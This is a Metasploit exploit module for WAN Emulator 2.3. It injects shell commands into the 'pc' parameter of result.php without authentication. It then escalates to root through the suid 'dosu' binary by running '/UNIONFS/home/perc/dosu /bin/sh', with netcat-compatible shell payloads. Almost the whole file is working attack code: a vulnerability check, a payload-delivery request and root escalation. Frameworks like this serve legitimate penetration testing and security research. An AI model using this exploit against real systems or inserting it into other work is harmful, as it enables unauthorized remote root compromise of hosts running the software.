##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WAN Emulator v2.3 Command Execution',
        'Description' => %q{
          This module exploits a command execution vulnerability in WAN Emulator
          version 2.3 which can be abused to allow unauthenticated users to execute
          arbitrary commands under the context of the 'www-data' user.
          The 'result.php' script calls shell_exec() with user controlled data
          from the 'pc' parameter. This module also exploits a command execution
          vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
          and vulnerable to command execution in argument one.
        },
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Author' => [
          'bcoles', # Discovery and exploit
        ],
        'References' => [
          ['CVE', '2012-10041'],
          ['OSVDB', '85344'],
          ['OSVDB', '85345']
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00\x22\x27",
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic netcat netcat-e',
                        }
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Targets' => [
          ['Automatic Targeting', { 'auto' => true }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-08-12',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_new_session(client)
    client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
  end

  def check
    fingerprint = Rex::Text.rand_text_alphanumeric(rand(8) + 4)
    data = "pc=127.0.0.1; "
    data << Rex::Text.uri_encode("echo #{fingerprint}")
    data << "%26"
    vprint_status("Sending check")

    begin
      res = send_request_cgi({
        'uri' => '/WANem/result.php',
        'method' => 'POST',
        'data' => data
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res and res.code == 200 and res.body =~ /#{fingerprint}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    data = "pc=127.0.0.1; "
    data << Rex::Text.uri_encode(payload.raw)
    data << "%26"
    print_status("Sending payload (#{payload.raw.length} bytes)")
    begin
      res = send_request_cgi({
        'uri' => '/WANem/result.php',
        'method' => 'POST',
        'data' => data
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed")
    end
    if res and res.code == 200
      print_good("Payload sent successfully")
    else
      print_error("Sending payload failed")
    end
  end
end
